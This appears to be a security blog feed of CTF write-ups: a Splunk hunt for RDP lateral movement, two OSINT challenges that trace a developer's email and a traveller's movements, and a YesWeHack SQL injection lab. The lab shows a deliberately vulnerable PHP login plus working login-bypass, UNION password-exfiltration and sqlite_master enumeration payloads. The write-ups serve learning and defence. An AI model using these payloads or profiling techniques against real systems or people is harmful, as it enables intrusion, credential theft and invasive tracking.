<td>Servers don't initiate outbound RDP on their own. If a server is RDPing to another server, someone is sitting inside an active session on that server and pivoting outward.</td>
</tr>
</tbody></table>
<p>These patterns aren't rules. There are environments where server-to-server RDP is normal (e.g., jump boxes). But as a starting point, any RDP session originating from a server rather than a workstation warrants a closer look.</p>
<h2><strong>Investigating RDP Lateral Movement</strong></h2>
<p>We wouldn't normally jump directly into RDP logs because they can be very noisy. Instead, let's say we received an alert for discovery commands being executed on our Domain Controller. We start by looking at process creation logs:</p>
<pre><code class="language-sql">index=win EventCode=1 host=THM-DC
| search CommandLine IN ("*nltest*", "*net * user*", "*net * group*", "*net * view*")
| table _time, host, User, Image, CommandLine, LogonId
| sort _time
</code></pre>
<pre><code class="language-sql">index=win EventCode=1 host=THM-DC
| search CommandLine IN ("*nltest*", "*net * user*", "*net * group*", "*net * view*")
| table _time, host, User, Image, CommandLine, LogonId
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675531806" alt="Sysmon Event 1 on THM-DC showing discovery commands with User, CommandLine, and LogonId fields" style="display:block;margin:0 auto" />

<p>We can see a discovery command being executed on the Domain Controller. The <code>LogonId</code> field tells us which session these commands belong to. Let's use it to find out how this session was created.</p>
<p><strong>Identify How the Attacker Reached the Domain Controller</strong></p>
<p>We take the <code>LogonId</code> from the suspicious commands and correlate it with Event 4624 (successful logon) on the same host:</p>
<p>Replace <code>{LOGON_ID}</code> with the LogonId from the Sysmon event above.</p>
<pre><code class="language-shell">index=win EventCode=4624 Source_Network_Address={SOURCE_IP} user=*$ 
| stats count by user, Source_Network_Address 
| sort -count
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675533166" alt="Event 4624 machine account query results identifying the source hostname from the RDP source IP" style="display:block;margin:0 auto" />

<p>The <code>user</code> ending with <code>\(</code> reveals the machine's hostname. Drop the <code>\)</code> suffix and use it in the next step.</p>
<p><strong>Find Evidence of the Outbound RDP Connection on the Source</strong></p>
<p>When someone initiates an RDP connection from a machine, <code>mstsc.exe</code> (the Windows Remote Desktop Client) runs on that machine. If Sysmon is capturing process creation on that host, we can search for it:</p>
<p>Replace <code>{SOURCE_SERVER}</code> with the hostname identified above.</p>
<pre><code class="language-sql">index=win EventCode=1 host={SOURCE_SERVER} Image="*mstsc.exe*"
| table _time, User, Image, CommandLine, LogonId
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675533733" alt="Sysmon Event 1 showing mstsc.exe process on the intermediate server confirming outbound RDP connection" style="display:block;margin:0 auto" />

<p>This confirms that someone launched an outbound RDP connection from that server targeting the Domain Controller.</p>
<p>Now we can trace how the attacker got onto this server in the first place.</p>
<h3>Trace How the Attacker Reached the Intermediate Server</h3>
<p>Using the same correlation technique, we take the <strong>LogonId</strong> from the <strong>mstsc.exe</strong> process and match it against Event 4624 on the same server:</p>
<pre><code class="language-shell">index=win EventCode=4624 host={SOURCE_SERVER} Logon_ID={LOGON_ID} 
| table _time, user, Logon_Type, Source_Network_Address, Logon_ID
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675534428" alt="Event 4624 on the intermediate server showing a second RDP logon from a different user and source IP" style="display:block;margin:0 auto" />

<p>We can see another RDP login, but this time, from a different user and a different source than the one we saw on the Domain Controller.</p>
<p>The attacker started on a compromised workstation, used RDP to reach the server, then, from within that session, opened another RDP connection to the Domain Controller using a different, more privileged account.</p>
<p>This pattern is called <strong>RDP chaining</strong>, and it's common when attackers pivot through intermediate machines to reach sensitive targets like Domain Controllers. Each hop uses RDP, but the source IP address changes at each hop because the connection originates from the intermediate machine rather than the original workstation.</p>
<p>The diagram below shows how RDP chaining works.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68d2c1e7ab94268f6271de1d/room-content/68d2c1e7ab94268f6271de1d-1773241474472.svg" alt="RDP chain diagram showing a two-hop path from a workstation through an intermediate server to the domain controller" style="display:block;margin:0 auto" />

<p><strong>On the Splunk instance, investigate the RDP lateral movement using the Security and Sysmon logs and answer the following questions.</strong></p>
<h3>Answer the questions below</h3>
<p>What is the source IP address of the RDP session that landed on the Domain Controller? <code>10.5.30.120</code></p>
<pre><code class="language-shell">index=win EventCode=1 host=THM-DC 
| search CommandLine IN ("nltest", "net * user", "net * group", "net * view") 
| table _time, host, User, Image, CommandLine, LogonId 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5391eb34-f348-4a3b-836d-9674a522382a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=win EventCode=4624 host=THM-DC Logon_ID=0x508C55A | table _time, user, Logon_Type, Source_Network_Address, Logon_ID
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/673a245b-debc-4c48-b2df-c7d80015c268.png" alt="" style="display:block;margin:0 auto" />

<p>Tracing backward through the chain, what is the original source IP where the RDP chain began? <code>10.5.50.12</code></p>
<pre><code class="language-shell">index=win EventCode=4624 Source_Network_Address=10.5.30.120 user=*$ | stats count by user, Source_Network_Address | sort -count
</code></pre>
<pre><code class="language-shell">index=win EventCode=4624 host=THM-DC 
| table _time, user, Logon_Type, Source_Network_Address, Logon_ID
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/0c6fd547-90b1-4a62-b10e-5f1dd9ee0439.png" alt="" style="display:block;margin:0 auto" />

<h2>Investigation Challenge</h2>
<h2><strong>Scenario</strong></h2>
<p>The SOC team received an EDR alert for a suspicious service installation (<code>svcupdate</code>) on <code>THM-SHR-SRV</code>. The service name doesn't match any known software deployments, and no change requests were scheduled for that evening. Your task is to investigate this lateral movement activity and trace it back to its origin.</p>
<h2><strong>Machine Access</strong></h2>
<p>The challenge data is on the same Splunk instance you've been using, but in a different index.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765216406" alt="" style="display:block;margin:0 auto" />

<p><strong>Info:</strong> Use <code>index=challenge</code> for all queries in this task. This index contains a separate dataset from the walkthrough scenarios.</p>
<h3>Answer the questions below</h3>
<p>What is the full path of the service binary that was installed on the target?  </p>
<p>Remember to install when we run <code>exe</code> executable files</p>
<pre><code class="language-shell">index=challenge exe 7045
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f1846cf9-aefd-46d6-b101-19c69ddb4f0c.png" alt="" style="display:block;margin:0 auto" />

<p>What account was used to access the ADMIN$ share on the target server?</p>
<pre><code class="language-shell">index=challenge EventCode=5140 Share_Name IN ("\ADMIN\(*", "\C\)*") 
| table _time, host, Source_Address, user, Share_Name 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/22e8fd05-f49e-4ca4-ba20-bdedf7f625a4.png" alt="" style="display:block;margin:0 auto" />

<p>What is the source IP address of the lateral movement to THM-SHR-SRV?  </p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f09adcd1-4118-457a-bf20-bd4944b2de3f.png" alt="" style="display:block;margin:0 auto" />

  
  
  
<p>What is the first remote command the attacker executed on the target machine? (Answer Format: as shown in the <code>CommandLine</code> field)  </p>
<pre><code class="language-shell">index=challenge EventCode=1 
| search CommandLine IN ("nltest", "net * user", "net * group", "net * view", "net * localgroup") 
| table _time, host, User, Image, CommandLine, ParentImage 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5a445c45-6050-467c-8c9c-f33efecab03e.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=challenge cmd.exe commandline User="tryhatmestudios\ryan.chen" 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7fa96a12-35a1-4590-8369-5c58d9d1396b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5f7ce4cf-a7d5-4f7a-948e-2b42bb30aa6b.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=challenge cmd.exe commandline User="tryhatmestudios\ryan.chen”
| table _time, host, User, ParentImage, Image, CommandLine 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/e724add5-f4dd-43cf-bb3c-0809d4c7820d.png" alt="" style="display:block;margin:0 auto" />

<p>What host did the attack originate from?</p>
<pre><code class="language-shell">index=challenge User="tryhatmestudios\ryan.chen"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5f0ff483-70cf-4a33-897e-f2ef54a00174.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>This room covered three lateral movement techniques (SMB, PsExec, RDP), how each authenticates against Active Directory, and the traces they leave on both source and destination machines.</p>
<h2><strong>Takeaways</strong></h2>
<ul>
<li><p>Discovery commands in process creation logs are often the first indicator that triggers a lateral movement investigation. Spotting enumeration early can lead to catching lateral movement before it reaches sensitive targets.</p>
</li>
<li><p>The same Event 4624 fires for a legitimate admin and an attacker. Source workstation, account, timing, and target pattern are what distinguish them.</p>
</li>
<li><p>Type 10 means RDP. Type 3 covers SMB and PsExec, where additional artifacts (Event 5140, Event 7045, Sysmon Event 17) separate the two.</p>
</li>
<li><p>Event 4648 ties the initiating user to the target connection by recording alternate credential use on the source, but only for explicit credentials, not Pass-the-Hash or Kerberos SSO.</p>
</li>
<li><p>Admin share access (<code>ADMIN\(</code>, <code>C\)</code>) from unexpected sources is a strong lateral movement indicator. Event 5140 captures who accessed which share and from where.</p>
</li>
<li><p>Sysmon Event 17 detects characteristic PsExec pipe patterns that persist even when the binary is renamed. Event 7045 (service installation) is PsExec's signature artifact.</p>
</li>
<li><p>Link RDP sessions with <code>Logon_ID</code> and look for <code>mstsc.exe</code> on intermediate hosts to trace chained hops. Each hop changes the source IP, so tracing the full chain requires checking both source and destination logs.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Dev Diaries (TryHackMe)]]></title><description><![CDATA[Introduction
The Dev Diaries challenge simulates a real-world scenario: a client's website was built by a freelance developer who disappeared without handing over the source code. With only the primar]]></description><link>https://www.sharonjebitok.com/dev-diaries-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/dev-diaries-tryhackme</guid><category><![CDATA[OSINT]]></category><category><![CDATA[git log]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[developers]]></category><category><![CDATA[Digital Forensics]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Fri, 20 Mar 2026 09:11:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ebe947e7-53bf-421d-b694-45f4cdfc8182.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>The <a href="https://tryhackme.com/room/devdiaries">Dev Diaries</a> challenge simulates a real-world scenario: a client's website was built by a freelance developer who disappeared without handing over the source code. With only the primary domain as a starting point, the goal was to use OSINT techniques to recover as much information as possible — subdomains, developer identity, and any traces left behind in public repositories.</p>
<p>The challenge touches on subdomain enumeration, web archive recon, GitHub OSINT, and Git commit history analysis. No exploitation involved — just following the breadcrumbs developers unknowingly leave in public spaces.</p>
<h2>Challenge</h2>
<p>We have just launched a website developed by a freelance developer. The source code was not shared with us, and the developer has since disappeared without handing it over.</p>
<p>Despite this, traces of the development process and earlier versions of the website may still exist online.</p>
<p>You are only given the website's primary domain as a starting point: <a href="http://marvenly.com"><strong>marvenly.com</strong></a></p>
<h3>Answer the questions below</h3>
<p>What is the subdomain where the development version of the website is hosted?</p>
<p>The thought was to try to do subdomain enumeration. None of the categories of these first sets of commands worked:</p>
<pre><code class="language-json">curl -s "https://crt.sh/?q=%25.**target.com**&amp;output=json" | jq -r '.[].name_value' | sort -u


subfinder -d **target.com** -o subdomains.txt


assetfinder --subs-only target.com


theHarvester -d target.com -b all
</code></pre>
<p>This one worked:</p>
<pre><code class="language-shell">curl -s "http://web.archive.org/cdx/search/cdx?url=.marvenly.com/&amp;output=text&amp;fl=original&amp;collapse=urlkey" | sort -u 

https://uat-testing.marvenly.com/ https://uat-testing.marvenly.com/favicon.ico
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ecae4912-2459-4ee3-a207-59675357a1da.jpg" alt="" style="display:block;margin:0 auto" />

<p>What is the GitHub username of the developer?</p>
<p>visited the subdomain of <code>marvenly.com</code> and found the github username of the developer.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/bb589a50-c060-40e4-a575-65d7a7471b65.png" alt="" style="display:block;margin:0 auto" />

<p>What is the developer's email address?</p>
<p>I cloned the GitHub repository that was on their GitHub profile and ran a <code>git log</code> command, this enables me to find their email address:</p>
<pre><code class="language-shell">git log
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/94bf6950-1c7f-4236-9e35-4a61cadde4c8.jpg" alt="" style="display:block;margin:0 auto" />

<p>What reason did the developer mention in the commit history for removing the source code?</p>
<p>Looking through the commits to the repo one of the commit messages states the reason why the project was abandoned:</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5d7942a1-e9c5-4f95-965c-4b1c15a466d3.png" alt="" style="display:block;margin:0 auto" />

<p>What is the value of the hidden flag?</p>
<p>Through one of the commits, we find the hidden signature which is the flag:</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4442755c-ab79-4756-9281-1f158d9cc326.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>This challenge is a clean example of how much a developer unknowingly exposes through normal workflow habits. The repository was never made private, and no attempt was made to sanitize commit history — which meant a real name, email address, and even the reason for abandoning the project were all sitting in plain sight via <code>git log</code>.</p>
<h3>Why This Matters for Developers</h3>
<p>Starting from just a domain, standard OSINT techniques surfaced:</p>
<ul>
<li><p>A staging subdomain via Wayback Machine</p>
</li>
<li><p>A GitHub username from the live site</p>
</li>
<li><p>A real email address baked into commit metadata</p>
</li>
<li><p>A commit message documenting a payment dispute — essentially a private conversation left public</p>
</li>
</ul>
<p>Git history is immutable by design. Even if a repo is later deleted or made private, anyone who cloned or cached it before that point retains full history. A commit message is not a private note — it is a permanent, searchable artifact.</p>
<h3>Remediation for Developers</h3>
<ul>
<li><p>Use GitHub's no-reply email (<code>username@users.noreply.github.com</code>) for commits to prevent real email exposure</p>
</li>
<li><p>Enable "Block command line pushes that expose my email" in GitHub settings</p>
</li>
<li><p>Treat commit messages as public documentation — never include sensitive context</p>
</li>
<li><p>If a repo must be cleaned, use <code>git filter-branch</code> or <code>git filter-repo</code> before it ever goes public</p>
</li>
</ul>
<p>The real lesson here is not just technical — it is that OSINT does not require exploiting anything. Public information, assembled carefully, tells the full story. In this case it told us who built the site, how to contact them, and exactly why the working relationship ended.</p>
]]></content:encoded></item><item><title><![CDATA[Missing Person (TryHackMe)]]></title><description><![CDATA[Introduction
OSINT (Open Source Intelligence) challenges simulate real-world investigations using only publicly available information. This room on TryHackMe presents a missing person scenario tied to]]></description><link>https://www.sharonjebitok.com/missing-person-tryhackme</link><guid isPermaLink="true">https://www.sharonjebitok.com/missing-person-tryhackme</guid><category><![CDATA[OSINT]]></category><category><![CDATA[digitalforensics]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[ctfwriteup]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Fri, 20 Mar 2026 08:39:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3c63525b-91ee-4e03-9b48-7c0f62202610.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>OSINT (Open Source Intelligence) challenges simulate real-world investigations using only publicly available information. This room on TryHackMe presents a missing person scenario tied to the 2025 MotoGP event in Indonesia, where we're tasked with helping piece together the movements of a traveller based on photos and social media breadcrumbs they left behind.</p>
<p>The investigation covers image metadata analysis, reverse image search, geolocation, social media profiling, and business record lookup — core skills in any OSINT workflow.</p>
<p><strong>Tools used:</strong></p>
<ul>
<li><p><code>exiftool</code> — for extracting image metadata</p>
</li>
<li><p>Google Reverse Image Search — for identifying locations from photos</p>
</li>
<li><p>Google Maps — for address verification</p>
</li>
<li><p>Facebook / Instagram — for social media enumeration</p>
</li>
<li><p>Google Search — for business and phone number lookup</p>
</li>
</ul>
<h2>OSINT</h2>
<p>"My friend went on holiday in 2025 and shared some photos, but I haven’t heard from him since. Can you help me track him down for the police report?"</p>
<p>Download the zip file attached to this task and start your investigation!</p>
<p>Answer the questions below</p>
<p>What is the commercial name of this circuit?<br /><strong>Format: English, full commercial name.</strong></p>
<p>Download the zip file, then unzip: there are two images, and one of them is for the circuit</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/98f52878-5a8d-4335-a7cd-e8eca8d30038.jpg" alt="" style="display:block;margin:0 auto" />

<p>Use Google Image Search to search for the MotoGP image to identify the circuit where the event was held</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f1096044-c923-4b63-8b7c-500f6e615e35.png" alt="" style="display:block;margin:0 auto" />

<p>When did the event take place?<br /><strong>Format: DD-DD/MM/YYYY.</strong></p>
<p><code>exiftool MotoGP.jpg</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c79c69e0-2a8f-4bed-9e6b-87a42df7557c.png" alt="" style="display:block;margin:0 auto" />

<p>Using the circuit name we identified above, we can search when the MotoGP happened in this specific circuit</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/630f584f-3372-4fc1-bde9-a45e0cb0f13a.png" alt="" style="display:block;margin:0 auto" />

<p>He told me he ate delicious Mexican food. What is the name of the restaurant?</p>
<p>The other image from the zip file was the food image. We can use Google Image Search to identify the restaurant where this missing person visited</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/0eb2d90d-92b8-47e9-86d2-ff6dd34a0dd1.jpg" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/5306d58d-a9eb-457b-8836-2e178c1a27d1.png" alt="" style="display:block;margin:0 auto" />

<p>At what time was this photo taken?<br /><strong>Format: HH:MM:SS.</strong></p>
<p><code>exiftool food.jpg</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f68f4a6d-266a-4f64-ba73-2bd1c1bd14ba.png" alt="" style="display:block;margin:0 auto" />

<p>He sent me a message, this is the last I heard from him: ”Went to this cool MotoGP after party, and became friends with one of the local DJs who played that night. We’re going to visit a cave tomorrow.”</p>
<p>What is the full address of the bar’s location?</p>
<p>At first, I came across that there was an After Race Party that was held at Mandalika Beach Club, it has a DJ lineup, but none fit what we're looking for</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4f3e0273-cbd5-45f3-abe8-2557764321b1.png" alt="" style="display:block;margin:0 auto" />

<p>On reading the message once again, the missing person specified that they went to a bar for the after-party. After searching again, I found Surfers Bar, which was advertised on Facebook and Instagram</p>
<p>Went ahead to search for Surfers' bar using Google Maps inorder to find the exact location.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/89ce7138-39a1-4ac2-9e18-c4ce5ddadf13.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2cd1bc8b-7066-45a8-8993-1688c0106de5.png" alt="" style="display:block;margin:0 auto" />

<p>What is the DJ's stage name?</p>
<p>This was a bit of a tricky question, I looked around for the DJ alot. At first, I thought it would be the naked_feelthevibe who had commented on the event post, but it seems he's not a local DJ. I had not paid attention to the fact that the event poster had a list of djs but eventually went back to the announcement and found it.</p>
<p>Here's the DJ set:</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/51bcbadd-b5d9-495c-8d74-dab0f49bbd3e.png" alt="" style="display:block;margin:0 auto" />

<p>What is the name of the cave?</p>
<p>to find this had to search for a cave near Surfersbar lombok</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/51b46a31-5f31-4a29-be09-4142e122d237.png" alt="" style="display:block;margin:0 auto" />

<p>What is the phone number linked to his old business?<br /><strong>Format: Full number, no country code.</strong>  </p>
<p>Thing to keep in mind, they're interested in the phone number linked to his old business so the first doesn't pass</p>
<p>Scrolling through the second search results, we find a phone number linked to bongleleh and the cave.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7dc50c1f-c1dd-4f95-9a64-5fb3dcee83de.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/997f4de7-4719-4507-bb31-7dc39b590072.png" alt="" style="display:block;margin:0 auto" />

<h2>Conclusion</h2>
<p>This room was a solid end-to-end OSINT exercise. Starting from just two images and a short message, we were able to reconstruct an entire timeline — the event, the restaurant, the after-party bar, the DJ, a cave visit, and even an old business phone number.</p>
<p><strong>Key Takeaways:</strong></p>
<ul>
<li><p><code>exiftool</code> is your first stop on any image — timestamps and GPS data are often embedded and overlooked</p>
</li>
<li><p>Reverse image search is surprisingly powerful for geolocating food, venues, and landmarks</p>
</li>
<li><p>When a lead goes cold, re-read the original message carefully — the distinction between a "bar" and a "beach club" was the pivot point for finding the after-party location</p>
</li>
<li><p>Event posters and social media announcements often contain the most direct answers; don't overlook them while chasing indirect clues</p>
</li>
<li><p>Old business listings and cached pages can surface phone numbers long after the business has changed</p>
</li>
</ul>
<p>OSINT is a reminder that the digital footprint we leave — through photo metadata, social media comments, tagged locations, and business registrations — can be traced by anyone with the right methodology. From a privacy standpoint, stripping metadata before sharing photos and auditing your public social presence are practical first steps.</p>
]]></content:encoded></item><item><title><![CDATA[SQL Injection - CWE 89 (YesWeHack Dojo)]]></title><description><![CDATA[Introduction
SQL injection has been on the OWASP Top 10 for years — not because developers don't know about it, but because unsanitized user input keeps finding its way into database queries. CWE-89 (]]></description><link>https://www.sharonjebitok.com/sql-injection-cwe-89-yeswehack-dojo</link><guid isPermaLink="true">https://www.sharonjebitok.com/sql-injection-cwe-89-yeswehack-dojo</guid><category><![CDATA[#sqlinjection]]></category><category><![CDATA[SQLi]]></category><category><![CDATA[yeswehack]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[learning]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Sat, 14 Mar 2026 14:41:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/43bcad3c-ca7c-4877-b023-4e5ac529fcf2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>SQL injection has been on the OWASP Top 10 for years — not because developers don't know about it, but because unsanitized user input keeps finding its way into database queries. CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) covers this entire class of vulnerabilities, ranging from simple login bypasses to full database enumeration.</p>
<p>I worked through the YesWeHack Dojo SQL Injection module to build hands-on intuition for how these attacks actually work — not just the theory, but reading how queries transform under injection, adapting when filters push back, and understanding what the database exposes when you ask the right questions.</p>
<p>This writeup covers 5 challenges: login bypass, data exfiltration, schema enumeration, INSERT injection, and filter bypass.</p>
<h2>SQL Injection</h2>
<p>SQL Injection is an exploit technique used by an attacker to alter the queries made to an SQL database. This can be used to fetch or modify the content of a database. SQL injection are found when an user supplied value is used incorectly in an SQL query. While SQLi are mostly found in web application, they can also be found I any other app using SQL.</p>
<h2><strong>Example</strong></h2>
<p>Imagine the following php code for a simple admin login.</p>
<pre><code class="language-bash">&lt;?php
include 'db.php';

// Get the password from POST data
\(pass = isset(\)_POST['pass']) ?  $_POST['pass'] : "";

\(username = run_query("SELECT username FROM users WHERE username = 'admin' AND password = '\)pass';");
if ($username){
  echo "Welcome $username";
}
?&gt;
</code></pre>
<p>We can see that an user supplied pass is injected directly inside the query. This really bad practice make your code vulnerable to SQL injection attack.</p>
<p>This is what the actual query look like after the variable substitution:</p>
<p>Now let's look at what happend when we tried to inject some malicious SQL.</p>
<ul>
<li><strong>Regular request</strong></li>
</ul>
<pre><code class="language-bash">SELECT username FROM users WHERE username = 'admin' AND password = 'hunter2';

password: hunter2
</code></pre>
<ul>
<li><strong>Inject malicious SQL</strong></li>
</ul>
<pre><code class="language-bash">SELECT username FROM users WHERE username = 'admin' AND password = 'admin' OR 'a'='a';

password: admin' OR 'a'='a
</code></pre>
<p>When the $pass is set to **<code>admin' OR 'a'='a</code>**the meaning of query change, this is an injection. Here the attacker completly bypass the password check because of the extra <code>OR true</code> at the end.</p>
<p>But this is not the only thing an attacker can do in this scenario, by using the union feature of SQL it is possible to extract anything from the database.</p>
<ul>
<li><strong>Inject UNION</strong></li>
</ul>
<pre><code class="language-bash">SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';

password: ' UNION SELECT password FROM users WHERE username='admin
</code></pre>
<p>This time, instead of only fetching the username, the query will also return the password of the admin.</p>
<p>' UNION SELECT password FROM users WHERE <a href="mailto:email='admin@user.com">email='admin@user.com</a></p>
<h1>Challenges</h1>
<h3>Simple login Bypass</h3>
<p>password: <code>admin' OR 'a'='a</code></p>
<pre><code class="language-bash">-- return
SELECT 
  (`password` = 'admin' OR 'a'='a') is_valid_password
FROM users 
WHERE username = 'admin' 
LIMIT 1;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/100547fa-6fdf-4f7c-97ee-6e59068e5a22.png" alt="" style="display:block;margin:0 auto" />

<h3><strong>First exfiltration</strong></h3>
<h3><strong>Time to recover some data</strong></h3>
<p>Bypassing a password check is nice, but being able to read arbitrary data is better.</p>
<p>Try to get the admin password.</p>
<h3><strong>Goal: recover the admin password</strong></h3>
<pre><code class="language-bash">-- return
SELECT 
  username, email
FROM users 
WHERE email LIKE '%%' 
LIMIT 10;
</code></pre>
<p><code>SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';</code></p>
<p><code>' UNION SELECT email FROM users WHERE username='admin</code> - wrong</p>
<h3>Correct</h3>
<pre><code class="language-bash">SELECT username, email FROM users 
WHERE email LIKE '%' UNION SELECT password, username FROM users WHERE username='admin'-- %' LIMIT 10;
</code></pre>
<p><code>email=' UNION SELECT password, username FROM users WHERE username='admin'--</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/4f7cc196-8ffb-4c38-8c1e-8ba6a9f4aeac.png" alt="" style="display:block;margin:0 auto" />

<h2><strong>No LIMIT</strong></h2>
<h3><strong>Limiting the query</strong></h3>
<p>This query should give us the any password, but the limit 0 prevent it.</p>
<p>Can you bypass it ?</p>
<h3><strong>Goal: recover the admin password</strong></h3>
<pre><code class="language-bash">SELECT password FROM users WHERE username = '' LIMIT 0;
</code></pre>
<h3>correct</h3>
<p><code>NAME: admin’--</code></p>
<pre><code class="language-bash">SELECT password FROM users WHERE username = 'admin'--' LIMIT 0;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ea8d75fd-5f09-4089-b491-c1f0a33eba21.png" alt="" style="display:block;margin:0 auto" />

<h2><strong>Exploration</strong></h2>
<h3><strong>Spelunking the internals</strong></h3>
<p>Now that you are able to recover any data, try to explore the database.</p>
<p>There is an hidden table containing a flag, can you find where it is ?</p>
<h3><strong>Goal: recover the flag from the hidden table.</strong></h3>
<pre><code class="language-bash">SELECT email FROM users WHERE username = '' LIMIT 1;
</code></pre>
<p>I tried:</p>
<p>NAME: ' UNION SELECT email FROM users WHERE username='admin</p>
<p>OUTPUT: [{"email":"admin@localhost"}]</p>
<p>NAME: ' UNION SELECT password FROM users WHERE username='admin</p>
<p>OUTPUT: [{"email":"admin"}]</p>
<p>NAME: admin'—</p>
<p>OUTPUT: [{"email":"admin@localhost"}]</p>
<p>hints:</p>
<ul>
<li><p>First you need to know which SQL backend the server is using. You can use some database specific function or error message to guess it.</p>
</li>
<li><p>Here the backend is Sqlite. Where is the database schema stored ?</p>
</li>
<li><p><code>UNION</code> can be used to get data from any table.</p>
</li>
</ul>
<pre><code class="language-bash">NAME: ' UNION SELECT name FROM sqlite_master WHERE type='table'--
</code></pre>
<pre><code class="language-bash">OUTPUT: 

[{"email":"H!dd3n_t4bl3"},
{"email":"users"}]
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/e82f74ca-41d7-4b1d-ab38-3c54311f45dd.png" alt="" style="display:block;margin:0 auto" />

<p>NAME: <code>' UNION SELECT sql FROM sqlite_master WHERE name='H!dd3n_t4bl3'--</code></p>
<p>OUTPUT: <code>[{"email":"CREATE TABLE</code> H!dd3n_t4bl3 <code>(\\n flag text\\n)"}]</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/05054cbb-2c43-4aaa-abdc-68302058d267.png" alt="" style="display:block;margin:0 auto" />

<p>last step:</p>
<p>NAME: <code>' UNION SELECT flag FROM 'H!dd3n_t4bl3'--</code></p>
<p>OUTPUT: [{"email":"FLAG{56zq8kiwtstw3ethxk55z}"}]</p>
